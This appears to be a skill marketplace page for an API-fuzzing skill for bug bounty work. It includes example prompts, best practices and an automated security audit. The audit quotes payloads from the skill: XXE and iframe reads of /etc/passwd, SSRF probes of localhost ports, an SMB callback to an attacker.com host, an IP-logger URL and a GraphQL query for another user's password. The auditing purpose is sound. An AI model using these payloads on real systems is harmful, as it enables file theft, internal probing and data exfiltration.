Skills api-fuzzing-for-bug-bounty
📦
api-fuzzing-for-bug-bounty
v1.1 Content revision r1 Critical ⚙️ External commands🌐 Network access
Test APIs for Bug Bounty Findings
API testers need repeatable checks for hidden endpoints, authorization flaws, and injection issues. This skill organizes API fuzzing workflows for authorized bug bounty and penetration testing.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "api-fuzzing-for-bug-bounty" from https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty.md and its manifest at https://skillstore.io/api/skills/sickn33-api-fuzzing-for-bug-bounty/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "api-fuzzing-for-bug-bounty". Help me test an in-scope API for IDOR.
Expected outcome:
A prioritized checklist covering object identifiers, role pairs, negative controls, and evidence notes for authorized testing.
Using "api-fuzzing-for-bug-bounty". Review a GraphQL endpoint for common risks.
Expected outcome:
- Check whether introspection is exposed in production.
- Review mutations for missing authorization checks.
- Test batching and nested queries within approved limits.
Using "api-fuzzing-for-bug-bounty". Turn my API findings into a report outline.
Expected outcome:
A report structure with summary, affected endpoints, impact, reproduction steps, evidence, and remediation guidance.
Security Audit
Criticalv4 • 7/6/2026 Open versioned report
Most external command detections are false positives caused by Markdown fences and inline examples, not executable skill code. The content still contains high-risk dual-use API exploitation guidance, including local file access payloads, SSRF and internal port probes, sensitive data extraction examples, IP disclosure, and rate-limit evasion guidance.
1
Files scanned
434
Lines analyzed
10
Review items
0
False positives ignored
Confirmed security concerns (4)
Critical
System password file access
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
The XXE payload directly references file:///etc/passwd, a sensitive system file, as the intended read target. Even as documentation, it teaches local file exfiltration from vulnerable systems.
Critical
System password file access
<iframe src="file:///etc/passwd" height=1000 width=800>
The PDF export payload embeds file:///etc/passwd, a sensitive system file, as the intended read target. Even as documentation, it teaches local file exfiltration from vulnerable systems.
High
Unsafe Offensive API Exploitation Guidance
The skill frames API testing as bug bounty work but does not require written authorization before teaching IDOR exploitation, endpoint bypasses, and rate-limit evasion with IP rotation.
The cited lines explicitly describe IDOR exploitation, unauthorized data access deliverables, bypass attempts, and IP rotation. The surrounding purpose is security testing, but the file lacks strong authorization guardrails.
High
Sensitive Data Extraction Examples
The GraphQL example requests another user identifier and asks for sensitive fields such as password and credit card data, while another example uses a tracking URL for IP disclosure.
The examples directly name OTHER_USER_ID, password, creditCard, and an IP disclosure tracking URL. This is clear sensitive data access guidance beyond generic API testing.
Capability review items (10)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This localhost URL appears in an SSRF attack example and is intended to make a target server probe internal services. It is documentation only, but the context is offensive network abuse testing.
High
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This localhost URL appears in an SSRF attack example and targets an internal port through server-side fetching. It is documentation only, but the context is offensive network abuse testing.
High
Hardcoded URL
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
The attacker-controlled SMB/DNS callback path is presented as a path traversal test and could disclose server network behavior. It is documentation only, but the payload is designed for outbound interaction with an attacker host.
High
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This localhost URL appears in PDF export SSRF guidance and is intended to make the renderer access an internal service. It is documentation only, but the context is offensive network abuse testing.
High
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This localhost URL appears in a port scanning example through PDF rendering. It is documentation only, but the payload is designed to probe internal services.
High
Hardcoded URL
<img src="https://iplogger.com/yourcode.gif"/>
The iplogger URL is explicitly labeled as an IP disclosure technique and uses a third-party tracking endpoint. That creates a clear data exfiltration risk if copied into a target workflow.
High
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The hardcoded 127.0.0.1 address is part of an SSRF payload that asks a target server to access localhost. This is intentional internal service probing content, not a benign placeholder.
High
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The hardcoded 127.0.0.1 address is part of an SSRF payload aimed at an internal port. This is intentional internal service probing content, not a benign placeholder.
High
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The hardcoded 127.0.0.1 address is used in PDF export SSRF guidance. It is intended to make server-side rendering reach an internal service.
High
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The hardcoded 127.0.0.1 address is used for a PDF-based port scanning example. It is intentional internal network probing content.
Risk Factors
⚙️ External commands (48)
SKILL.md:49-62 SKILL.md:62-66 SKILL.md:66-78 SKILL.md:78-84 SKILL.md:84-92 SKILL.md:92-96 SKILL.md:96-112 SKILL.md:112-118 SKILL.md:118-124 SKILL.md:124-128 SKILL.md:128-134 SKILL.md:134-138 SKILL.md:138-140 SKILL.md:140-144 SKILL.md:144-147 SKILL.md:147-151 SKILL.md:151-157 SKILL.md:157-161 SKILL.md:161-171 SKILL.md:171-181 SKILL.md:181-183 SKILL.md:183-187 SKILL.md:187-189 SKILL.md:189-193 SKILL.md:193-202 SKILL.md:202-206 SKILL.md:206-216 SKILL.md:216-220 SKILL.md:220-224 SKILL.md:224-228 SKILL.md:228-244 SKILL.md:244-248 SKILL.md:248-254 SKILL.md:254-272 SKILL.md:272-286 SKILL.md:286-294 SKILL.md:294-306 SKILL.md:306-310 SKILL.md:310-316 SKILL.md:316-344 SKILL.md:344-345 SKILL.md:345-393 SKILL.md:393-403 SKILL.md:403-413 SKILL.md:413-417 SKILL.md:417-421 SKILL.md:421-429 SKILL.md:429-430
Detected Patterns
System password file access×2
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-api-fuzzing-for-bug-bounty/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-api-fuzzing-for-bug-bounty.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). api-fuzzing-for-bug-bounty security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty/audits/4BibTeX citation
@techreport{sickn33-sickn33-api-fuzzing-for-bug-bounty-2026,
author = {sickn33},
title = {api-fuzzing-for-bug-bounty security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "api-fuzzing-for-bug-bounty security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-06"
url: "https://skillstore.io/skills/sickn33-api-fuzzing-for-bug-bounty/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-api-fuzzing-for-bug-bounty:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Plan a Bug Bounty API Review
Create a scoped checklist for endpoint discovery, authorization checks, and evidence collection.
Build an Internal API Test Checklist
Translate API security topics into repeatable checks for product security reviews.
Prepare GraphQL Assessment Tasks
Organize GraphQL introspection, batching, nested query, and authorization tests for a client engagement.
Try These Prompts
Start API Recon
Create an authorized API reconnaissance checklist for this scoped target. Include documentation review, endpoint discovery, version checks, and safe evidence notes.
Review IDOR Risk
Given these scoped endpoints and role descriptions, suggest safe IDOR tests that avoid accessing real user data.
Assess GraphQL Surface
Analyze this GraphQL schema excerpt for risky queries, mutations, batching issues, and introspection exposure within a test environment.
Plan Full API Fuzzing
Build a phased fuzzing plan for my approved bug bounty target, including scope controls, rate limits, evidence collection, and reporting criteria.
Best Practices
- Confirm written authorization and scope before testing any endpoint.
- Use synthetic accounts and test data when checking authorization boundaries.
- Throttle requests and coordinate risky tests with the program owner.
Avoid
- Testing production APIs without permission or outside listed scope.
- Using payloads that exfiltrate real files, secrets, or personal data.
- Bypassing rate limits with IP rotation instead of approved test windows.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. Use it only on APIs where you have written permission and a defined scope.
Can it run API fuzzing tools?
No. It provides workflows and prompts. You must choose tools and operate them responsibly.
Does it support GraphQL testing?
Yes. It covers introspection, batching, nested queries, and GraphQL authorization review.
Can beginners use it?
Yes, but beginners should start in a lab or approved training target.
What evidence should I collect?
Collect endpoint details, request context, account roles, screenshots, timestamps, and clear impact notes.
How should risky tests be handled?
Coordinate with the owner, use test data, limit request volume, and stop if impact exceeds scope.